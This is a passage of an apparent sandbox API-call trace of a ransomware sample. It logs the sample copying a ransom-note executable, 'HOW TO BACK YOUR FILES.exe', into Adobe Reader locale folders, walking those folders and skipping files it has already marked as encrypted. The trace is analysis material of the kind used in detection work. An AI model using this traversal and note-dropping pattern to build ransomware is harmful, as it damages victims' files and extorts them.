	[0058.205] lstrcmpiW (lpString1="Matrix.pmp", lpString2="Apollon865") returned 1
	[0058.206] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="QRCode.pmp" | out: lpString1="QRCode.pmp") returned="QRCode.pmp"
	[0058.206] lstrlenW (lpString="QRCode.pmp") returned 10
	[0058.206] lstrlenW (lpString="Apollon865") returned 10
	[0058.206] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale"
	[0058.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0058.206] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned 54
	[0058.206] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale"
	[0058.206] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.206] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.212] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.212] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ac51e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ac51e10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.212] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.212] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.212] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="ca_ES" | out: lpString1="ca_ES") returned="ca_ES"
	[0058.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0058.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf4e0
	[0058.212] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b70
	[0058.212] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1
	[0058.212] lstrcmpiW (lpString1="cs_CZ", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.212] lstrcmpiW (lpString1="cs_CZ", lpString2="Apollon865.txt.exe") returned 1
	[0058.212] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="cs_CZ" | out: lpString1="cs_CZ") returned="cs_CZ"
	[0058.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0058.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf788
	[0058.213] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0058.213] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1
	[0058.213] lstrcmpiW (lpString1="da_DK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.213] lstrcmpiW (lpString1="da_DK", lpString2="Apollon865.txt.exe") returned 1
	[0058.213] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="da_DK" | out: lpString1="da_DK") returned="da_DK"
	[0058.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0058.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf700
	[0058.213] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0058.213] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1
	[0058.213] lstrcmpiW (lpString1="de_DE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.213] lstrcmpiW (lpString1="de_DE", lpString2="Apollon865.txt.exe") returned 1
	[0058.213] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="de_DE" | out: lpString1="de_DE") returned="de_DE"
	[0058.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0058.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf5f0
	[0058.213] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0058.213] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1
	[0058.213] lstrcmpiW (lpString1="es_ES", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.213] lstrcmpiW (lpString1="es_ES", lpString2="Apollon865.txt.exe") returned 1
	[0058.213] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="es_ES" | out: lpString1="es_ES") returned="es_ES"
	[0058.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0058.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf678
	[0058.213] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0058.213] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1
	[0058.213] lstrcmpiW (lpString1="eu_ES", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.213] lstrcmpiW (lpString1="eu_ES", lpString2="Apollon865.txt.exe") returned 1
	[0058.213] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="eu_ES" | out: lpString1="eu_ES") returned="eu_ES"
	[0058.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0058.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf810
	[0058.214] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0058.214] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1
	[0058.214] lstrcmpiW (lpString1="fi_FI", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.214] lstrcmpiW (lpString1="fi_FI", lpString2="Apollon865.txt.exe") returned 1
	[0058.214] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="fi_FI" | out: lpString1="fi_FI") returned="fi_FI"
	[0058.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0058.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf9a8
	[0058.214] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0058.214] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1
	[0058.214] lstrcmpiW (lpString1="fr_FR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.214] lstrcmpiW (lpString1="fr_FR", lpString2="Apollon865.txt.exe") returned 1
	[0058.214] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="fr_FR" | out: lpString1="fr_FR") returned="fr_FR"
	[0058.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0058.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf920
	[0058.214] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0058.214] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ac51e10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3ac51e10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0058.214] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0058.214] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1
	[0058.214] lstrcmpiW (lpString1="hr_HR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.214] lstrcmpiW (lpString1="hr_HR", lpString2="Apollon865.txt.exe") returned 1
	[0058.214] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="hr_HR" | out: lpString1="hr_HR") returned="hr_HR"
	[0058.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0058.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfa30
	[0058.214] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0058.214] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1
	[0058.214] lstrcmpiW (lpString1="hu_HU", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.214] lstrcmpiW (lpString1="hu_HU", lpString2="Apollon865.txt.exe") returned 1
	[0058.214] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="hu_HU" | out: lpString1="hu_HU") returned="hu_HU"
	[0058.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0058.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfab8
	[0058.214] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0058.215] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1
	[0058.215] lstrcmpiW (lpString1="it_IT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.215] lstrcmpiW (lpString1="it_IT", lpString2="Apollon865.txt.exe") returned 1
	[0058.215] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="it_IT" | out: lpString1="it_IT") returned="it_IT"
	[0058.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0058.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfb40
	[0058.215] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0058.215] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1
	[0058.215] lstrcmpiW (lpString1="ja_JP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.215] lstrcmpiW (lpString1="ja_JP", lpString2="Apollon865.txt.exe") returned 1
	[0058.215] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="ja_JP" | out: lpString1="ja_JP") returned="ja_JP"
	[0058.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0058.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfbc8
	[0058.215] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0058.215] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1
	[0058.215] lstrcmpiW (lpString1="ko_KR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.215] lstrcmpiW (lpString1="ko_KR", lpString2="Apollon865.txt.exe") returned 1
	[0058.215] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="ko_KR" | out: lpString1="ko_KR") returned="ko_KR"
	[0058.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0058.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfc50
	[0058.215] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0058.215] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1
	[0058.215] lstrcmpiW (lpString1="nb_NO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.215] lstrcmpiW (lpString1="nb_NO", lpString2="Apollon865.txt.exe") returned 1
	[0058.215] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="nb_NO" | out: lpString1="nb_NO") returned="nb_NO"
	[0058.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0058.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfcd8
	[0058.215] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0058.215] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1
	[0058.215] lstrcmpiW (lpString1="nl_NL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.215] lstrcmpiW (lpString1="nl_NL", lpString2="Apollon865.txt.exe") returned 1
	[0058.216] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="nl_NL" | out: lpString1="nl_NL") returned="nl_NL"
	[0058.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0058.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfd60
	[0058.216] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7c90
	[0058.216] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1
	[0058.216] lstrcmpiW (lpString1="pl_PL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.216] lstrcmpiW (lpString1="pl_PL", lpString2="Apollon865.txt.exe") returned 1
	[0058.216] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="pl_PL" | out: lpString1="pl_PL") returned="pl_PL"
	[0058.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0058.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfde8
	[0058.216] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x5b7c10
	[0058.216] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
	[0058.216] lstrcmpiW (lpString1="pt_BR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.216] lstrcmpiW (lpString1="pt_BR", lpString2="Apollon865.txt.exe") returned 1
	[0058.216] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="pt_BR" | out: lpString1="pt_BR") returned="pt_BR"
	[0058.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0058.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfe70
	[0058.216] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0058.216] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1
	[0058.216] lstrcmpiW (lpString1="ro_RO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.216] lstrcmpiW (lpString1="ro_RO", lpString2="Apollon865.txt.exe") returned 1
	[0058.216] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="ro_RO" | out: lpString1="ro_RO") returned="ro_RO"
	[0058.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0058.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bfef8
	[0058.216] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0058.216] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1
	[0058.216] lstrcmpiW (lpString1="ru_RU", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.216] lstrcmpiW (lpString1="ru_RU", lpString2="Apollon865.txt.exe") returned 1
	[0058.216] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="ru_RU" | out: lpString1="ru_RU") returned="ru_RU"
	[0058.217] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0058.217] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bff80
	[0058.217] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fc70
